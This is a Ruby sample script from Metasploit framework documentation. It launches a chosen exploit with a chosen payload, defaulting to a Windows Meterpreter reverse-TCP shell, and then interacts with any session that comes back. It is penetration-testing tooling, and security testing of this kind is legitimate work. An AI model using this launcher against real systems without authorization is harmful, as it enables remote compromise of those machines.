metasploit-gs/documentation/samples/framework/run_exploit_using_base.rb

#!/usr/bin/env ruby
#
# $Id$
#
# This sample demonstrates using the framework core directly to launch an
# exploit.  It makes use of the simplified exploit wrapper method provided by
# the Msf::Simple::Exploit mixin.
#
# $Revision$
#

$:.unshift(File.join(File.dirname(__FILE__), '..', '..', '..', 'lib'))

require 'msf/base'

if (ARGV.length == 0)
  puts "Usage: #{File.basename(__FILE__)} exploit_name payload_name OPTIONS"
  exit
end

framework    = Msf::Simple::Framework.create
exploit_name = ARGV.shift || 'test/multi/aggressive'
payload_name = ARGV.shift || 'windows/meterpreter/reverse_tcp'
input        = Rex::Ui::Text::Input::Stdio.new
output       = Rex::Ui::Text::Output::Stdio.new

begin
  # Initialize the exploit instance
  exploit = framework.exploits.create(exploit_name)

  # Fire it off.
  session = exploit.exploit_simple(
    'Payload'     => payload_name,
    'OptionStr'   => ARGV.join(' '),
    'LocalInput'  => input,
    'LocalOutput' => output)

  # If a session came back, try to interact with it.
  if (session)
    output.print_status("Session #{session.sid} created, interacting...")
    output.print_line

    session.init_ui(input, output)

    session.interact
  else
    output.print_line("Exploit completed, no session was created.")
  end

rescue
  output.print_error("Error: #{$!}\n\n#{$@.join("\n")}")
end